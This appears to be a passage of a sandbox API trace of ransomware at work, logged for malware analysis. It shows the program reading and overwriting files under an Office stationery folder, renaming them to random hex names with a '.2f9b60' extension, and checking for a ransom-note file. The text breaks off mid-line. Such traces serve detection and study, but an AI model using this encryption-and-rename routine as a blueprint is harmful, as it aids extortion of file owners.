[0117.346] RtlRandomEx (in: Seed=0x3c08fb70 | out: Seed=0x3c08fb70) returned 0x62c4fc2b [0117.346] RtlRandomEx (in: Seed=0x3c08fb70 | out: Seed=0x3c08fb70) returned 0x53cbadc0 [0117.346] RtlRandomEx (in: Seed=0x3c08fb70 | out: Seed=0x3c08fb70) returned 0x159d8ff4 [0117.347] RtlRandomEx (in: Seed=0x3c08fb70 | out: Seed=0x3c08fb70) returned 0x7a1e073f [0117.347] RtlRandomEx (in: Seed=0x3c08fb70 | out: Seed=0x3c08fb70) returned 0x3fb83584 [0117.347] RtlRandomEx (in: Seed=0x3c08fb70 | out: Seed=0x3c08fb70) returned 0x738fa73c [0117.347] RtlRandomEx (in: Seed=0x3c08fb70 | out: Seed=0x3c08fb70) returned 0x2c4a63c1 [0117.347] RtlRandomEx (in: Seed=0x3c08fb70 | out: Seed=0x3c08fb70) returned 0x24bd3ad2 [0117.347] RtlRandomEx (in: Seed=0x3c08fb70 | out: Seed=0x3c08fb70) returned 0x5b19f343 [0117.347] RtlRandomEx (in: Seed=0x3c08fb70 | out: Seed=0x3c08fb70) returned 0x522fd55e [0117.347] RtlRandomEx (in: Seed=0x3c08fb70 | out: Seed=0x3c08fb70) returned 0x2b91f77a [0117.347] RtlRandomEx (in: Seed=0x3c08fb70 | out: Seed=0x3c08fb70) returned 0x4d8970b6 [0117.347] RtlRandomEx (in: Seed=0x3c08fb70 | out: Seed=0x3c08fb70) returned 0x203c5a39 [0117.347] RtlRandomEx (in: Seed=0x3c08fb70 | out: Seed=0x3c08fb70) returned 0x50fd829d [0117.347] RtlRandomEx (in: Seed=0x3c08fb70 | out: Seed=0x3c08fb70) returned 0x7209212f [0117.347] RtlRandomEx (in: Seed=0x3c08fb70 | out: Seed=0x3c08fb70) returned 0x36693184 [0117.347] RtlRandomEx (in: Seed=0x3c08fb70 | out: Seed=0x3c08fb70) returned 0x36e4e636 [0117.347] RtlRandomEx (in: Seed=0x3c08fb70 | out: Seed=0x3c08fb70) returned 0x6971ae4c [0117.347] RtlRandomEx (in: Seed=0x3c08fb70 | out: Seed=0x3c08fb70) returned 0x1e50c2ba [0117.347] RtlRandomEx (in: Seed=0x3c08fb70 | out: Seed=0x3c08fb70) returned 0x14f2b62 [0117.347] RtlRandomEx (in: Seed=0x3c08fb70 | out: Seed=0x3c08fb70) returned 0x49ab197 [0117.347] RtlRandomEx (in: Seed=0x3c08fb70 | out: Seed=0x3c08fb70) returned 0x1d7a69b9 [0117.347] RtlRandomEx (in: Seed=0x3c08fb70 | out: Seed=0x3c08fb70) returned 0x6a88c74a [0117.347] RtlRandomEx (in: Seed=0x3c08fb70 | out: Seed=0x3c08fb70) returned 0x79b360de [0117.347] RtlRandomEx (in: Seed=0x3c08fb70 | out: Seed=0x3c08fb70) returned 0x2846fd79 [0117.347] RtlRandomEx (in: Seed=0x3c08fb70 | out: Seed=0x3c08fb70) returned 0x1f0e5c49 [0117.347] RtlRandomEx (in: Seed=0x3c08fb70 | out: Seed=0x3c08fb70) returned 0x6072bd3d [0117.347] RtlRandomEx (in: Seed=0x3c08fb70 | out: Seed=0x3c08fb70) returned 0x32a33657 [0117.347] RtlRandomEx (in: Seed=0x3c08fb70 | out: Seed=0x3c08fb70) returned 0x7f7e7620 [0117.347] RtlRandomEx (in: Seed=0x3c08fb70 | out: Seed=0x3c08fb70) returned 0x2375283f [0117.366] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9eb0 [0117.366] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e2f0 [0117.367] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9d60 [0117.367] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e2f0) returned 1 [0117.367] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9e20) returned 1 [0117.367] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a96a0) returned 1 [0117.367] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c5d0 [0117.367] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e2f0 [0117.367] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a96a0 [0117.367] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a96a0) returned 1 [0117.367] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41bc0d80 [0117.367] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41bc4990 [0117.367] ReadFile (in: hFile=0x1778, lpBuffer=0x41bc0d80, nNumberOfBytesToRead=0x1ed, lpNumberOfBytesRead=0x3c08fb70, lpOverlapped=0x0 | out: lpBuffer=0x41bc0d80*, lpNumberOfBytesRead=0x3c08fb70*=0x1ed, lpOverlapped=0x0) returned 1 [0117.367] SetFilePointerEx (in: hFile=0x1778, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.367] WriteFile (in: hFile=0x1778, lpBuffer=0x41bc4990*, nNumberOfBytesToWrite=0x1ed, lpNumberOfBytesWritten=0x3c08fb74, lpOverlapped=0x0 | out: lpBuffer=0x41bc4990*, lpNumberOfBytesWritten=0x3c08fb74*=0x1ed, lpOverlapped=0x0) returned 1 [0117.379] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a96a0 [0117.379] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9d30 [0117.379] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9d30) returned 1 [0117.379] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41bc4990) returned 1 [0117.379] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41bc0d80) returned 1 [0117.379] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e2f0) returned 1 [0117.379] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c5d0) returned 1 [0117.379] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x202a9d30 [0117.379] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c5d0 [0117.379] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e2f0 [0117.379] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9cd0 [0117.379] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9cd0) returned 1 [0117.379] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x202a9cd0 [0117.380] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9dc0 [0117.380] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9d00 [0117.380] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9d00) returned 1 [0117.380] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e2f0) returned 1 [0117.380] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c5d0) returned 1 [0117.380] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x167dc0 [0117.380] SetFilePointerEx (in: hFile=0x1778, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0117.380] WriteFile (in: hFile=0x1778, lpBuffer=0x167dc0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x3c08fc90, lpOverlapped=0x0 | out: lpBuffer=0x167dc0*, lpNumberOfBytesWritten=0x3c08fc90*=0x10a, lpOverlapped=0x0) returned 1 [0117.383] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c5d0 [0117.384] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e2f0 [0117.384] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9d00 [0117.384] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9d00) returned 1 [0117.384] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b7d5a50 [0117.384] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9d00 [0117.384] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9e80 [0117.384] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9e80) returned 1 [0117.384] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e2f0) returned 1 [0117.384] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c5d0) returned 1 [0117.384] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1b7d86c0 [0117.384] sprintf (in: _Dest=0x1b7d86c0, _Format="%c%c" | out: _Dest="b0") returned 2 [0117.384] sprintf (in: _Dest=0x1b7d86c2, _Format="%c%c" | out: _Dest="27") returned 2 [0117.384] sprintf (in: _Dest=0x1b7d86c4, _Format="%c%c" | out: _Dest="ea") returned 2 [0117.384] sprintf (in: _Dest=0x1b7d86c6, _Format="%c%c" | out: _Dest="72") returned 2 [0117.384] sprintf (in: _Dest=0x1b7d86c8, _Format="%c%c" | out: _Dest="3b") returned 2 [0117.384] sprintf (in: _Dest=0x1b7d86ca, _Format="%c%c" | out: _Dest="88") returned 2 [0117.384] sprintf (in: _Dest=0x1b7d86cc, _Format="%c%c" | out: _Dest="d0") returned 2 [0117.384] sprintf (in: _Dest=0x1b7d86ce, _Format="%c%c" | out: _Dest="e3") returned 2 [0117.384] sprintf (in: _Dest=0x1b7d86d0, _Format="%c%c" | out: _Dest="a6") returned 2 [0117.385] sprintf (in: _Dest=0x1b7d86d2, _Format="%c%c" | out: _Dest="8b") returned 2 [0117.385] sprintf (in: _Dest=0x1b7d86d4, _Format="%c%c" | out: _Dest="ba") returned 2 [0117.385] sprintf (in: _Dest=0x1b7d86d6, _Format="%c%c" | out: _Dest="c6") returned 2 [0117.385] sprintf (in: _Dest=0x1b7d86d8, _Format="%c%c" | out: _Dest="97") returned 2 [0117.385] sprintf (in: _Dest=0x1b7d86da, _Format="%c%c" | out: _Dest="c8") returned 2 [0117.385] sprintf (in: _Dest=0x1b7d86dc, _Format="%c%c" | out: _Dest="1c") returned 2 [0117.385] sprintf (in: _Dest=0x1b7d86de, _Format="%c%c" | out: _Dest="ad") returned 2 [0117.385] sprintf (in: _Dest=0x1b7d86e0, _Format="%c%c" | out: _Dest="9c") returned 2 [0117.385] sprintf (in: _Dest=0x1b7d86e2, _Format="%c%c" | out: _Dest="22") returned 2 [0117.385] sprintf (in: _Dest=0x1b7d86e4, _Format="%c%c" | out: _Dest="9b") returned 2 [0117.385] sprintf (in: _Dest=0x1b7d86e6, _Format="%c%c" | out: _Dest="fb") returned 2 [0117.385] sprintf (in: _Dest=0x1b7d86e8, _Format="%c%c" | out: _Dest="6e") returned 2 [0117.385] sprintf (in: _Dest=0x1b7d86ea, _Format="%c%c" | out: _Dest="e7") returned 2 [0117.385] sprintf (in: _Dest=0x1b7d86ec, _Format="%c%c" | out: _Dest="d1") returned 2 [0117.385] sprintf (in: _Dest=0x1b7d86ee, _Format="%c%c" | out: _Dest="9c") returned 2 [0117.385] RtlInitAnsiString (in: DestinationString=0x3c08fd08, SourceString="b027ea723b88d0e3a68bbac697c81cad9c229bfb6ee7d19c" | out: DestinationString="b027ea723b88d0e3a68bbac697c81cad9c229bfb6ee7d19c") [0117.385] RtlAnsiStringToUnicodeString (in: DestinationString=0x3c08fcd8, SourceString="b027ea723b88d0e3a68bbac697c81cad9c229bfb6ee7d19c", AllocateDestinationString=1 | out: DestinationString="b027ea723b88d0e3a68bbac697c81cad9c229bfb6ee7d19c") returned 0x0 [0117.385] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced98d0 [0117.385] RtlFreeAnsiString (AnsiString="b") [0117.385] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d86c0) returned 1 [0117.385] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d5a50) returned 1 [0117.385] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9d00) returned 1 [0117.385] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x167dc0) returned 1 [0117.386] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9cd0) returned 1 [0117.386] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9dc0) returned 1 [0117.386] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9d30) returned 1 [0117.386] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a96a0) returned 1 [0117.386] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9d90) returned 1 [0117.386] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9eb0) returned 1 [0117.386] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9d60) returned 1 [0117.386] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x1b7adfc0 [0117.386] wcscat (in: _Dest=0x1b7adfc0, _Source="b027ea723b88" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\b027ea723b88") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\b027ea723b88" [0117.386] wcscat (in: _Dest=0x1b7adfc0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\b027ea723b88.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\b027ea723b88.2f9b60" [0117.386] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\b027ea723b88.2f9b60", NtPathName=0x3c08fcb0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Stationery\\1033\\b027ea723b88.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0117.386] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xaa) returned 0x20279970 [0117.386] NtSetInformationFile (FileHandle=0x1778, IoStatusBlock=0x3c08fd50, FileInformation=0x20279970, Length=0xaa, FileInformationClass=0xa) returned 0x0 [0117.387] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20279970) returned 1 [0117.388] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf47320) returned 1 [0117.388] NtQueryInformationFile (in: FileHandle=0x1778, IoStatusBlock=0x3c08fd18, FileInformation=0x3c08fd28, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3c08fd18, FileInformation=0x3c08fd28) returned 0x0 [0117.388] NtSetInformationFile (FileHandle=0x1778, IoStatusBlock=0x3c08fd18, FileInformation=0x3c08fd28, Length=0x28, FileInformationClass=0x4) returned 0x0 [0117.389] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7adfc0) returned 1 [0117.389] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced98d0) returned 1 [0117.389] FlushFileBuffers (hFile=0x1778) returned 1 [0117.534] CloseHandle (hObject=0x1778) returned 1 [0117.536] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8a) returned 0x1b7adfc0 [0117.536] wcscpy (in: _Dest=0x1b7adfc0, _Source="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\" [0117.536] wcscat (in: _Dest=0x1b7adfc0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\2F9B60-Readme.txt" [0117.536] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\2f9b60-readme.txt")) returned 0x20 [0117.536] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7adfc0) returned 1 [0117.536] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86b700) returned 1 Thread: id = 1312 os_tid = 0xe98 [0117.391] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\JUNGLE.HTM" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\jungle.htm")) returned 0x20 [0117.392] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\JUNGLE.HTM", dwFileAttributes=0x20) returned 1 [0117.392] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\JUNGLE.HTM" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\jungle.htm"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x149c [0117.393] GetFileSizeEx (in: hFile=0x149c, lpFileSize=0x1ecffd40 | out: lpFileSize=0x1ecffd40*=513) returned 1 [0117.393] SetFilePointerEx (in: hFile=0x149c, liDistanceToMove=0x1fd, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.393] ReadFile (in: hFile=0x149c, lpBuffer=0x1ecffcc0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1ecffd08, lpOverlapped=0x0 | out: lpBuffer=0x1ecffcc0*, lpNumberOfBytesRead=0x1ecffd08*=0x4, lpOverlapped=0x0) returned 1 [0117.394] SetFilePointerEx (in: hFile=0x149c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.394] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9d60 [0117.394] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9eb0 [0117.394] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9d90 [0117.394] NtQuerySystemTime (in: CurrentTime=0x1ecffc00 | out: CurrentTime=0x1ecffc00*=132462177228418000) returned 0x0 [0117.394] RtlRandomEx (in: Seed=0x1ecffbf0 | out: Seed=0x1ecffbf0) returned 0x71a4e9fe [0117.394] RtlRandomEx (in: Seed=0x1ecffbf0 | out: Seed=0x1ecffbf0) returned 0x20b7df27 [0117.394] RtlRandomEx (in: Seed=0x1ecffbf0 | out: Seed=0x1ecffbf0) returned 0x3d77bd01 [0117.394] RtlRandomEx (in: Seed=0x1ecffbf0 | out: Seed=0x1ecffbf0) returned 0x1afe0fbb [0117.394] RtlRandomEx (in: Seed=0x1ecffbf0 | out: Seed=0x1ecffbf0) returned 0x46c1d8a3 [0117.394] RtlRandomEx (in: Seed=0x1ecffbf0 | out: Seed=0x1ecffbf0) returned 0x2c9a8474 [0117.394] RtlRandomEx (in: Seed=0x1ecffbf0 | out: Seed=0x1ecffbf0) returned 0x4eedd26a [0117.394] RtlRandomEx (in: Seed=0x1ecffbf0 | out: Seed=0x1ecffbf0) returned 0x5ee910f3 [0117.395] RtlRandomEx (in: Seed=0x1ecffbf0 | out: Seed=0x1ecffbf0) returned 0x6a020738 [0117.395] RtlRandomEx (in: Seed=0x1ecffbf0 | out: Seed=0x1ecffbf0) returned 0x63157c8e [0117.395] RtlRandomEx (in: Seed=0x1ecffbf0 | out: Seed=0x1ecffbf0) returned 0x9e2578b [0117.395] RtlRandomEx (in: Seed=0x1ecffbf0 | out: Seed=0x1ecffbf0) returned 0x5db212d4 [0117.395] RtlRandomEx (in: Seed=0x1ecffbf0 | out: Seed=0x1ecffbf0) returned 0x2c464f94 [0117.395] RtlRandomEx (in: Seed=0x1ecffbf0 | out: Seed=0x1ecffbf0) returned 0x3035ee53 [0117.395] RtlRandomEx (in: Seed=0x1ecffbf0 | out: Seed=0x1ecffbf0) returned 0x697aacce [0117.395] RtlRandomEx (in: Seed=0x1ecffbf0 | out: Seed=0x1ecffbf0) returned 0x661e2b2f [0117.395] RtlRandomEx (in: Seed=0x1ecffbf0 | out: Seed=0x1ecffbf0) returned 0x5b46021d [0117.395] RtlRandomEx (in: Seed=0x1ecffbf0 | out: Seed=0x1ecffbf0) returned 0x33a789c3 [0117.395] RtlRandomEx (in: Seed=0x1ecffbf0 | out: Seed=0x1ecffbf0) returned 0x6cef5629 [0117.395] RtlRandomEx (in: Seed=0x1ecffbf0 | out: Seed=0x1ecffbf0) returned 0x1ad98139 [0117.395] RtlRandomEx (in: Seed=0x1ecffbf0 | out: Seed=0x1ecffbf0) returned 0x7ad1e443 [0117.395] RtlRandomEx (in: Seed=0x1ecffbf0 | out: Seed=0x1ecffbf0) returned 0x238788ba [0117.395] RtlRandomEx (in: Seed=0x1ecffbf0 | out: Seed=0x1ecffbf0) returned 0x53fa15eb [0117.395] RtlRandomEx (in: Seed=0x1ecffbf0 | out: Seed=0x1ecffbf0) returned 0x7a8d29a6 [0117.395] RtlRandomEx (in: Seed=0x1ecffbf0 | out: Seed=0x1ecffbf0) returned 0x5a34f1e7 [0117.395] RtlRandomEx (in: Seed=0x1ecffbf0 | out: Seed=0x1ecffbf0) returned 0x539ccea0 [0117.395] RtlRandomEx (in: Seed=0x1ecffbf0 | out: Seed=0x1ecffbf0) returned 0x616df38e [0117.395] RtlRandomEx (in: Seed=0x1ecffbf0 | out: Seed=0x1ecffbf0) returned 0x1ef97878 [0117.395] RtlRandomEx (in: Seed=0x1ecffbf0 | out: Seed=0x1ecffbf0) returned 0x33bc7c2a [0117.395] RtlRandomEx (in: Seed=0x1ecffbf0 | out: Seed=0x1ecffbf0) returned 0x6b1df6a4 [0117.395] RtlRandomEx (in: Seed=0x1ecffbf0 | out: Seed=0x1ecffbf0) returned 0x51c69060 [0117.395] RtlRandomEx (in: Seed=0x1ecffbf0 | out: Seed=0x1ecffbf0) returned 0x66bc5781 [0117.403] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a96a0 [0117.403] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e2f0 [0117.403] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9d30 [0117.403] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e2f0) returned 1 [0117.403] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9d90) returned 1 [0117.403] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9d60) returned 1 [0117.403] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c5d0 [0117.404] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e2f0 [0117.404] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9d60 [0117.404] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9d60) returned 1 [0117.404] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41bc0d80 [0117.404] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41bc4990 [0117.404] ReadFile (in: hFile=0x149c, lpBuffer=0x41bc0d80, nNumberOfBytesToRead=0x201, lpNumberOfBytesRead=0x1ecffbf0, lpOverlapped=0x0 | out: lpBuffer=0x41bc0d80*, lpNumberOfBytesRead=0x1ecffbf0*=0x201, lpOverlapped=0x0) returned 1 [0117.404] SetFilePointerEx (in: hFile=0x149c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.404] WriteFile (in: hFile=0x149c, lpBuffer=0x41bc4990*, nNumberOfBytesToWrite=0x201, lpNumberOfBytesWritten=0x1ecffbf4, lpOverlapped=0x0 | out: lpBuffer=0x41bc4990*, lpNumberOfBytesWritten=0x1ecffbf4*=0x201, lpOverlapped=0x0) returned 1 [0117.405] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9d60 [0117.406] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9d90 [0117.406] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9d90) returned 1 [0117.406] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41bc4990) returned 1 [0117.406] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41bc0d80) returned 1 [0117.406] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e2f0) returned 1 [0117.406] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c5d0) returned 1 [0117.406] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x202a9d90 [0117.406] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c5d0 [0117.406] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e2f0 [0117.406] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9dc0 [0117.406] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9dc0) returned 1 [0117.406] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x202a9dc0 [0117.406] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9cd0 [0117.407] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9d00 [0117.407] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9d00) returned 1 [0117.407] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e2f0) returned 1 [0117.407] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c5d0) returned 1 [0117.407] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x106) returned 0x169090 [0117.407] SetFilePointerEx (in: hFile=0x149c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0117.407] WriteFile (in: hFile=0x149c, lpBuffer=0x169090*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x1ecffd10, lpOverlapped=0x0 | out: lpBuffer=0x169090*, lpNumberOfBytesWritten=0x1ecffd10*=0x106, lpOverlapped=0x0) returned 1 [0117.410] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c5d0 [0117.410] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e2f0 [0117.410] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9d00 [0117.410] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9d00) returned 1 [0117.410] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x1b7d5a50 [0117.410] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9d00 [0117.410] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9e80 [0117.410] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9e80) returned 1 [0117.410] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e2f0) returned 1 [0117.410] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c5d0) returned 1 [0117.410] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x29) returned 0x1b7d86c0 [0117.410] sprintf (in: _Dest=0x1b7d86c0, _Format="%c%c" | out: _Dest="ad") returned 2 [0117.410] sprintf (in: _Dest=0x1b7d86c2, _Format="%c%c" | out: _Dest="45") returned 2 [0117.410] sprintf (in: _Dest=0x1b7d86c4, _Format="%c%c" | out: _Dest="1b") returned 2 [0117.411] sprintf (in: _Dest=0x1b7d86c6, _Format="%c%c" | out: _Dest="39") returned 2 [0117.411] sprintf (in: _Dest=0x1b7d86c8, _Format="%c%c" | out: _Dest="f9") returned 2 [0117.411] 